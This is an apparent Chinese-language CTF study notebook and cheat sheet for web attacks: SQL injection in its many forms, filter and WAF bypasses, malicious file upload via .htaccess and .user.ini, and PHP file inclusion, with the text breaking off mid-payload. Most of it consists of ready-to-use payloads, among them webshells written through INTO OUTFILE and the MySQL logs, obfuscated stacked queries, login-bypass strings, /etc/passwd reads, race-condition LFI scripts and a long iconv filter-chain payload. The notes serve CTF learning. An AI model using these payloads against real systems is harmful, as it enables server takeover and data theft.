CTF学习笔记
web
狼组安全团队公开知识库
红方人员实战手册
Web安全攻防实战系列
Web安全学习笔记
https://www.vulnhub.com
Vulhub - Docker-Compose file for vulnerability environment
https://github.com/w181496/Web-CTF-Cheatsheet
Mysql注入
数据库的一些重要的信息:
1 | version():数据库的版本 |
四大注入
联合注入
1 | -1' order by 3# |
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
union select实现登录:
1 | username:0' union select 1,'admin','47bce5c74f589f4867dbd57e9ca9f808'# |
报错注入
MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:
- BigInt等数据类型溢出
- 函数参数格式错误
- 主键/字段重复
floor报错注入
利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞
虚拟表报错原理:简单来说,是由于where条件每执行一次,rand函数就会执行一次,如果在由于在统计数据时判断依据不能动态改变,故rand()
不能后接在order/group by
上
1 | and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) # |
ExtractValue报错注入
适用版本:5.1.5+
1 | and extractvalue(1,concat(0x7e,user(),0x7e))# |
UpdateXml报错注入
适用版本: 5.1.5+
UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码
1 | and updatexml(1,concat(0x7e,(select database()),0x7e),1)# |
Mysql报错注入原理分析(count()、rand()、group by)
updatexml injection without concat
当concat()在报错注入不可用时
布尔盲注
没啥好说的,写脚本就完事了
二分法脚本:
1 | import re |
时间盲注
无if和case的解决办法
假设if
和case
被ban了,又想要根据condition的真假来决定是否触发sleep()
,可以将condition整合进sleep()
中,做乘法即可:
1 | sleep(5*(condition)) |
如果condition为真则返回1,5*(condition)
即5*1
为5,延时5秒;如果condition为假则返回0,5*(condition)
即5*0
为0,延时0秒
benchmark()benchmark(count,expr)
函数的执行结果就是将expr表达式执行count次数
1 | benchmark(30000000,sha(1)) |
笛卡儿积
这种方法又叫做heavy query
,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用
1 | select count(*) from information_schema.columns A, information_schema.columns B; |
get_lock
在单数据库的环境下,如果想防止多个线程操作同一个表(多个线程可能分布在不同的机器上),可以使用这种方式,取表名为key,操作前进行加锁,操作结束之后进行释放,这样在多个线程的时候,即保证了单个表的串行操作,又保证了多个不同表的并行操作
当我们锁定一个变量之后,另一个session再次包含这个变量就会产生延迟
1 | (1)我们首先通过注入实现对 username 字段的加锁 |
值得注意的是,利用场景是有条件限制的:需要提供长连接
在Apache+PHP搭建的环境中需要使用 mysql_pconnect
函数来连接数据库
简单的时间盲注脚本:
1 | #coding:utf-8 |
mysql 延时注入新思路
一篇文章带你深入理解 SQL 盲注
一文搞定MySQL盲注
MySQL时间盲注五种延时方法 (PWNHUB 非预期解)
heavy-query注入
无需“in”的SQL盲注
文件读写
file_priv
是对于用户的文件读写权限,若无权限则不能进行文件读写操作
可通过下述payload查询权限:
1 | select file_priv from mysql.user where user=$USER host=$HOST; |
secure_file_priv特性:
secure_file_priv的值为null时,表示限制mysql不允许导入或导出。
secure_file_priv的值为某一路径时,表示限制mysql的导入或导出只能发生在该路径下
secure_file_priv的值没有具体值时,表示不对mysql的导入或导出做限制
三种方法查看当前secure-file-priv
的值:
1 | select @@secure_file_priv; |
文件读取
Mysql读取文件通常使用load_file函数,语法如下:
1 | union select 1,2,load_file("/etc/passwd")# |
第二种读文件的方法:
1 | load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件 |
第三种:
1 | load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件 |
CSS-T | Mysql Client 任意文件读取攻击链拓展
文件写入
具体权限要求:
1.secure_file_priv支持web目录文件导出
2.数据库用户file权限
3.获取物理途径
outfile和dumpfile:
1 | union select 1,2,'<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'# |
利用log写入
但是现在新版本的MySQL设置了导出文件的路径,我们基本上也没有权限去修改配置文件,更无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell
同样的具体权限要求:数据库用户需具备super和file服务器权限、获取物理路径
1 | 查看日志是否开启: |
慢查询日志
1 | set global slow_query_log_file='/var/www/html/shell.php' |
万能密码
1 | -1' or 1=1# |
md5($pass,true)
ffifdyop
这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c
,Mysql 刚好又会把 hex 转成 ascii这个字符串,前几位刚好是 ' or '6
,构造成万能密码
1 | content: 129581926211651571912466741651878684928 |
SELECT * FROM admin WHERE username = 'admin' and password = ''or'6xc9]x99'
由于and运算符优先级比or高,所以前面的:username = 'admin' and password = ''
会先执行,然后将执行结果与后面的'6xc9]x99'
进行or运算。在布尔运算中,除了0、'0'、false、null,
其余结果都为真。所以整个SQL语句的where条件判断部分为真
绕过技巧
反引号来包含含有特殊字符的表名、列名
绕过空格
1 | /**/、括号、+、%20、%09、%0a、%0b、%0c、%0d、%a0、%00 tab |
%a0
在特定字符集才能利用
括号没有被过滤,可以用括号绕过:
1 | 1'and(sleep(ascii(mid(database()from(1)for(1)))=109))# |
绕过逗号
使用from
1 | select substr(database() from 1 for 1)# |
使用join
1 | union select 1,2 |
对于limit
可以使用offset
来绕过
1 | select * from news limit 0,1 |
绕过等于
使用like、rlike、regexp binary或者使用<
、>
<>
为不等于,!(table_name<>'')
可绕过=
也可以用in来绕过,substr(password,1,1) in('p');
替换关键字
大小写绕过,双写绕过、16进制编码绕过
if函数可用case when condition then 1 else 0 end
语句代替
1 | 0' or if((ascii(substr((select database()),1,1))>97),1,0)# |
&&
代替and||
代替or|
代替 xor
字符串截取函数:
函数 | 说明 |
---|---|
substr(str,N_start,N_length) | 对指定字符串进行截取,为SUBSTRING的简单版 |
substring() | 多种格式substring(str,pos)、substring(str from pos)、substring(str,pos,len)、substring(str from pos for len) |
right(str,len) | 对指定字符串从最右边截取指定长度 |
left(str,len) | 对指定字符串从最左边截取指定长度 |
rpad(str,len,padstr) | 在 str 右方补齐 len 位的字符串 padstr ,返回新字符串。如果 str 长度大于 len ,则返回值的长度将缩减到 len 所指定的长度 |
lpad(str,len,padstr) | 与RPAD相似,在str 左边补齐 |
mid(str,pos,len) | 同于 substring(str,pos,len) |
insert(str,pos,len,newstr) | 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr ,然后返回经过替换后的字符串。insert(str,len,1,0x0) 可当做截取函数 |
concat(str1,str2…) | 函数用于将多个字符串合并为一个字符串 |
group_concat(…) | 返回一个字符串结果,该结果由分组中的值连接组合而成 |
make_set(bits,str1,str2,…) | 根据参数1,返回所输入其他的参数值。可用作报错注入,如:select updatexml(1,make_set(3,'~',(select flag from flag)),1) |
进制转换函数:
函数 | 说明 | ||||
---|---|---|---|---|---|
ord(str) | 返回字符串第一个字符的ASCII值 | ||||
oct(N) | 以字符串形式返回 N 的八进制数,N 是一个BIGINT 型数值,作用相当于conv(N,10,8) |
||||
hex(N_or_S) | 参数为字符串时,返回 N_or_S 的16进制字符串形式,为数字时,返回其16进制数形式 |
||||
unhex(str) | hex(str) 的逆向函数。将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符 |
||||
bin(N) | 返回十进制数值 N 的二进制数值的字符串表现形式 |
||||
ascii(str) | 同ord(string) |
||||
conv(N,from_base,to_base) | 将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回 |
绕过information_schema
MySQL5.7的新特性:
1 | sys.schema_auto_increment_columns 只显示有自增的表 |
以上大部分特殊数据库都是在 mysql5.7 以后的版本才有,并且要访问sys数据库需要有相应的权限
但是在使用上面的后两个表来获取表名之后select group_concat(table_name) from mysql.innodb_table_stats
,我们是没有办法获得列的,这个时候就要采用无列名注入的办法
绕过安全狗
sel%ect
针对asp+access:
- 可以代替空格的字符:%09,%0A,%0C,%0D
- 截断后面语句的注释符:%00,%16,%22,%27
- 当%09,%0A,%0C,%0D超过一定的长度,安全狗就失效了
奇淫巧技
宽字节注入
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字%df
吃掉\
具体的方法是 urlencode('\') = %5c%27
,我们在%5c%27
前面添加%df
,形成%df%5c%27
,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c
就是一个汉字,%27
作为一个单独的'
符号在外面
1 | -1%df%27union select 1,user(),3--+ |
无列名注入
我们可以利用union
来给未知列名重命名
1 | select 1,2,3 union select * from flag; |
除了之前的order by
盲注之外,这里再提一种新的方法,直接通过select进行盲注:
核心payload:(select 'admin','admin')>(select * from users limit 1)
regexp注入
正则注入,若匹配则返回1,不匹配返回0
binary区分大小写
1 | select (select username from users where id=1) regexp binary '^a'; |
^
若被过滤,可使用$
来从后往前进行匹配
like注入
百分比%
通配符允许匹配任何字符串的零个或多个字符
下划线_
通配符允许匹配任何单个字符
1 | 1 union select 1,database() like 's%',3 --+ |
异或注入
0^1 –> 1 语句返回为真
0^0 –> 0 语句返回为假
'1'^1^'1' --> 1
语句返回为真'1'^0^'1' --> 0
语句返回为假
1 | 检索数据库: |
脚本:
1 | import requests |
从CTF题中学习几种有趣(奇怪)的SQL注入
REGEXP注入与LIKE注入学习笔记
CTF中几种通用的sql盲注手法和注入的一些tips
堆叠注入
在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag
- PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(
hello
)供之后调用 - EXECUTE:执行命令
- DEALLOCATE PREPARE:释放命令
- SET:用于设置变量(
@a
)
payload:-1';sEt @a=concat("sel","ect flag from flag_here");PRepare hello from @a;execute hello;#
MySql 预处理配合十六进制绕过关键字:-1';sEt @a=0x73686F7720646174616261736573;PRepare hello from @a;execute hello;#
MySql预处理配合字符串拼接绕过关键字:
原理就是借助char()
函数将ascii码转化为字符然后再使用concat()
函数将字符连接起来
1 | set @sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from @sql;execute s1; |
使用handler:
1 | handler <tablename> open as <handlername>; #指定数据表进行载入并将返回句柄重命名 |
偏移注入
我们利用"*"
代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。
1 | ?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误 |
说明了sys_admin表下有11个字段
偏移注入的基本公式为:order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
也就是18-11=7
18-7*2=4
得到答案等于:4
然后依旧是套公式的过程。
1 | ?id=1 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id) |
sql注入可参考的文章:
sqli_lab总结
SQL注入WIKI
再谈注入
SQL注入漏洞详解
六问MySQL?你敢来挑战吗?
对MYSQL注入相关内容及部分Trick的归类小结
注入地书——注入的基石
SQL注入之Mysql注入姿势及绕过总结
【技术分享】一种新的MySQL下Update、Insert注入方法
SQL注入有趣姿势总结
SQL注入:限制条件下获取表名、无列名注入
MYSQL8.0注入新特性
一次insert注入引发的思考
Pgsql堆叠注入场景下通过CREATE FUNCTION来实现命令执行
XPATH注入学习
PostgreSQL Injection
玩得一手好注入之order by排序篇
Alternatives to Extract Tables and Columns from MySQL and MariaDB
文件上传,文件包含
a.php文件
1 | eval($_POST['pass']); @ |
可替换为(PHP7版本已经不支持了)
1 | GIF89 |
一句话木马的套路
各种一句话木马大全
PHP Webshell那些事——攻击篇
探讨新技术背景下的一句话免杀
短标签:
PHP开启短标签即short_open_tag=on时,可以使用=$_?>输出变量
filename="<?=@eval($_POST['a']);?>"
序列化木马:
1 |
|
扩展名绕过:
Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php php3 php4 php5 php7 pht phtml phps
Jsp:jspx jspf
.htaccess
图片马解析
SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理
1 | <FilesMatch "xxx"> |
匹配到文件名中含有xxx的字符 就以php形式去解析
1 | SetHandler application/x-httpd-php |
当前目录及其子目录下所有文件都会被当做 php 解析
AddType 指令可以将给定的文件扩展名映射到指定的内容类型
1 | AddType application/x-httpd-php .jpg |
使jpg文件都解析为php文件
CGI命令执行
AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射
1 | Options ExecCGI #允许CGI执行 |
绕过exif_imagetype.htaccess
上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess
文件无法生效。这时有两个办法:
一:
1 | #define width 1337 |
二:
在.htaccess前添加x00x00x8ax39x8ax39
(要在十六进制编辑器中添加,或者使用python的bytes类型)x00x00x8ax39x8ax39
是wbmp文件的文件头.htaccess
中以0x00开头的同样也是注释符,所以不会影响.htaccess
文件包含
在本目录或子目录中有可解析的 PHP 文件时,可以通过 php_value 来设置 auto_prepend_file
或者 auto_append_file
配置选项来让所有的 PHP 文件自动包含一些敏感文件或恶意文件(如WebShell),来触发文件包含
Base64 编码绕过
将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:
.htaccess:
1 | #define width 1337 |
shell.abc:
1 | GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg== |
这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则
或者使用
1 | #define width 1 |
也是可以的,注意换行也算一个字节
UTF-7 编码格式绕过
images.png
1 | +ADw?php eval(+ACQAXw-POST+AFs-cmd+AF0)+ADs?+AD4- |
然后我们使用 auto_append_file
将其包含进来并设置编码格式为 UTF-7 就行了:
1 | php_value auto_append_file images.png |
还可以包含.htaccess
自身
1 | php_value auto_append_file .htaccess |
绕过对关键字的过滤我们可以使用反斜杠 \
加换行来实现,例如:
1 | AddTy\ |
Apache的.htaccess利用技巧
.htaccess利用与Bypass方式总结
Apache中.htaccess文件利用的总结与新思路拓展
.user.ini
可以借助.user.ini
轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。在.user.ini写入代码如下,上传:
1 | GIF89a |
windows文件上传特性
上传文件名 | 服务器表面现象 | 生成文件内容 |
---|---|---|
test.php:1.jpg | 生成test.php | 空 |
test.php::$DATA | 生成test.php | <?php phpinfo();?> |
test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | |
test.php::$DATA.jpg | 生成0.jpg | <?php phpinfo();?> |
test.php::$DATA\aaa.jpg | 生成aaa.jpg | <?php phpinfo();?> |
利用步骤:
- 先上传shell.php:.jpg,得到空的shell.php
- 再上传shell.<<<,会覆盖原来的shell.php
- 即可得到webshell
php一句话绕过技术分析
PHP LFI 利用临时文件 Getshell 姿势
require和取反运算符之间不需要空格照样执行,即<?=require~%d0%99%93%9e%98?>
PHP伪协议
php遇到不认识的协议就会当目录处理url=a://ctfshow.com/../../../../../../../fl0g.txt
php://filter?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
一样。
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
1 | php://filter/convert.%6%32ase64-encode/resource=flag.php |
file_put_contents中可以调用伪协议,而伪协议处理时会对过滤器urldecode一次,所以是可以利用二次编码绕过的
a: %6%31
b: %6%32
i: %6%39
q: %7%31
r: %7%32
u: %7%35
U: %5%35
file_put_contents($content,"<?php exit();".$content);
情况下写文件绕过死亡函数exit
1 | php://filter/write=string.%7%32ot13|<?cuc riny($_CBFG[ozgu]);?>|/resource=bmth.php |
file_put_content和死亡·杂糅代码之缘
探索php://filter在实战当中的奇技淫巧
可用过滤器列表
php://input
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据?file=php://input
POST:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行
data://text/plain?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://伪协议
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式
可以利用压缩过滤器触发phar:compress.zlib://phar:///var/www/html/upload/xxxx.gif
初探phar://
Phar的一些利用姿势
利用 phar 拓展 php 反序列化漏洞攻击面
zip://伪协议
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
当compress.zlib加在任何其他协议之前,仍然会保持其他协议的功能
- data协议的格式
data协议的格式为data: [ mediatype ] [ ";charset" ] [ ";base64" ] , data
。其中charset,base64可选;data可用url编码。然而一个在php中,一个合法的data协议只需要满足data:xxx/xxx;test=test;%23
就行。- data协议的base64编码
由于filter_var很敏感,遇到一些空格报错,所以可以利用data协议的base64绕过。compress.zlib://data:@127.0.0.1/?;base64,(base64编码后的payload)
大佬文章:
Web安全实战系列:文件包含漏洞
bypass-RFI限制的一些思路
文件包含
可以fuzz下:文件读取漏洞路径收集
在php中,require_once
在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含
1 |
|
绕过技巧:
1 | php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
phpinfo与条件竞争
LFI WITH PHPINFO() ASSISTANCE
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES
的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉
phpinfo页面中会输出这次请求的所有信息,包括$_FILES
变量的值,其中包含完整文件名
所以此时需要利用到条件竞争(Race Condition),原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用
1 | #!/usr/bin/python |
session文件包含
PHP中可以通过session progress功能实现临时文件的写入,这种利用方式需要满足下面几个条件:
目标环境开启了
session.upload_progress.enable
选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS
的字段
请求的Cookie中包含Session ID
注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传
所以,默认情况下,我们需要在session文件被清理前利用它,这也会用到条件竞争
1 | import io |
获取session文件路径:
1 | 1、session文件的保存路径可以在phpinfo的session.save_path看到 |
session的文件名格式为sess_[phpsessid]
。而phpsessid在发送的请求的cookie字段中可以看到
LFI+php7崩溃
这个Bug在7.1.20以后被修复
php7 segment fault特性:
1 | ?file=php://filter/string.strip_tags=/etc/passwd |
这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除
1 | import requests |
爆破临时文件:
1 | import requests |
pearcmd.php的巧妙利用
需要开启register_argc_argv
这个配置
pear中的命令config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中
1 | ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php |
这里我使用的官方提供的php:7.4-apache
,首先运行docker:
1 | docker run -d --name web -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache |
运行我们的payload
1 | ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[0])?>+/tmp/1.php |
成功执行命令
还可以尝试别的路径:/usr/share/php/pearcmd.php
参考:Docker PHP裸文件本地包含综述
文件包含&奇技淫巧
LFItoRCE利用总结
hxp[Includer’s revenge]
1 | $_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php'); ( |
因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如
1 | $_GET[0]`;; ` |
以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4=
,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg==
,这里 7 可能相对于斜杠比较好找一些,也可能是 exp 作者没有 fuzz 或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终 base64 编码中的斜杠
最后的exp:
1 |
|
使用工具:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
真的太强了,这个payload:
1 | file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP869.CSIBM1163|convert.iconv.ISO2022KR.UNICODE|convert.iconv.LATIN3.NAPLPS|convert.iconv.ISO-IR-156.UNICODEBIG|convert.iconv.ISO885915.CSISO90|convert.iconv.ISO-IR-156.8859_9|convert.iconv.CSISOLATINGREEK.MSCP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP922.CSISOLATIN5|convert.iconv.ISO2022KR.UTF-32|convert.iconv.IBM912.ISO-IR-156|convert.iconv.ISO-IR-99.CSEUCPKDFMTJAPANESE|convert.iconv.8859_9.ISO_6937-2|convert.iconv.CSISO99NAPLPS.CP902|convert.iconv.ISO-IR-143.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.PT154.874|convert.iconv.CSISO2022KR.UTF-32|convert.iconv.CSIBM901.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO2022KR.UTF16|convert.iconv.LATIN6.CSUCS4|convert.iconv.UTF-32BE.ISO_6937-2:1983|convert.iconv.ISO-IR-111.CSWINDOWS31J|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.CSA_T500.EUCJP-WIN|convert.iconv.CP855.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.CSISO90.UCS-4BE|convert.iconv.OSF00010004.UTF32|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.CSISO90.ISO-10646/UTF-8|convert.iconv.BALTIC.SHIFT_JISX0213|convert.iconv.CP949.CP1361|convert.iconv.CSISOLATIN2.T.61|convert.iconv.IBM932.BIG-5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-156.CSUCS4|convert.iconv.KOI8-T.CSIBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.NAPLPS.UCS-4|convert.iconv.ISO_8859-4.T.618BIT|convert.iconv.CSISO103T618BIT.BIG5-HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP869.CSIBM1163|convert.iconv.ISO2022KR.UNICODE|convert.iconv.LATIN3.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP869.CSIBM1163|convert.iconv.ISO2022KR.UNICODE|convert.iconv.LATIN3.NAPLPS|convert.iconv.ISO-IR-156.UNICODEBIG|convert.iconv.ISO885915.CSISO90|convert.iconv.BIGFIVE.CSIBM943|convert.iconv.LATIN6.WINDOWS-1258|convert.iconv.CP1258.CSISO103T618BIT|convert.iconv.NAPLPS.OSF10020359|convert.iconv.WINDOWS-1256.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-GR.UNICODE|convert.iconv.ISO_8859-14:1998.UTF32BE|convert.iconv.OSF00010009.ISO2022JP2|convert.iconv.UTF16.ISO-10646/UTF-8|convert.iconv.UTF-16.UTF8|convert.iconv.ISO_8859-14:1998.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP869.CSIBM1163|convert.iconv.ISO2022KR.UNICODE|convert.iconv.LATIN3.NAPLPS|convert.iconv.ISO-IR-156.UNICODEBIG|convert.iconv.ISO885915.CSISO90|convert.iconv.BIGFIVE.CSIBM943|convert.iconv.LATIN6.WINDOWS-1258|convert.iconv.CP1258.CSISO103T618BIT|convert.iconv.NAPLPS.OSF10020359|convert.iconv.WINDOWS-1256.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP922.CSISOLATIN5|convert.iconv.ISO2022KR.UTF-32|convert.iconv.IBM912.ISO-IR-156|convert.iconv.ISO-IR-103.CSEUCPKDFMTJAPANESE|convert.iconv.OSF00010002.UNICODE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-99.CSEUCPKDFMTJAPANESE|convert.iconv.CSEUCKR.UTF-32|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-156.CSUCS4|convert.iconv.KOI8-T.CSIBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.CSISO90.UCS-4BE|convert.iconv.OSF00010004.UTF32|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-6.ISO646-DE|convert.iconv.ISO2022KR.UTF32|convert.iconv.MAC-UK.ISO-10646|convert.iconv.UCS-4BE.855|convert.iconv.ISO88599.CSISO90|convert.iconv.ISO_6937:1992.10646-1:1993|convert.iconv.CP773.UNICODE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UK.852|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP922.CSISOLATIN5|convert.iconv.ISO2022KR.UTF-32|convert.iconv.IBM912.ISO-IR-156|convert.iconv.ISO-IR-99.CSEUCPKDFMTJAPANESE|convert.iconv.8859_9.ISO_6937-2|convert.iconv.ISO6937.UCS-2LE|convert.iconv.CP864.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP869.CSIBM1163|convert.iconv.ISO2022KR.UNICODE|convert.iconv.LATIN3.NAPLPS|convert.iconv.ISO-IR-156.UNICODEBIG|convert.iconv.ISO885915.CSISO90|convert.iconv.ISO-IR-156.8859_9|convert.iconv.CSISOLATINGREEK.MSCP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-156.CSUCS4|convert.iconv.KOI8-T.CSIBM932|convert.iconv.CSIBM932.IBM866NAV|convert.iconv.IBM775.UTF32|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-156.CSUCS4|convert.iconv.KOI8-T.CSIBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.BIGFIVE.UTF32|convert.iconv.WINSAMI2.T.61|convert.iconv.ISO-IR-156.CSUCS4|convert.iconv.KOI8-T.CSIBM932|convert.iconv.CSIBM932.IBM866NAV|convert.iconv.IBM775.UTF32|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-6.ISO646-DE|convert.iconv.ISO2022KR.UTF32|convert.ico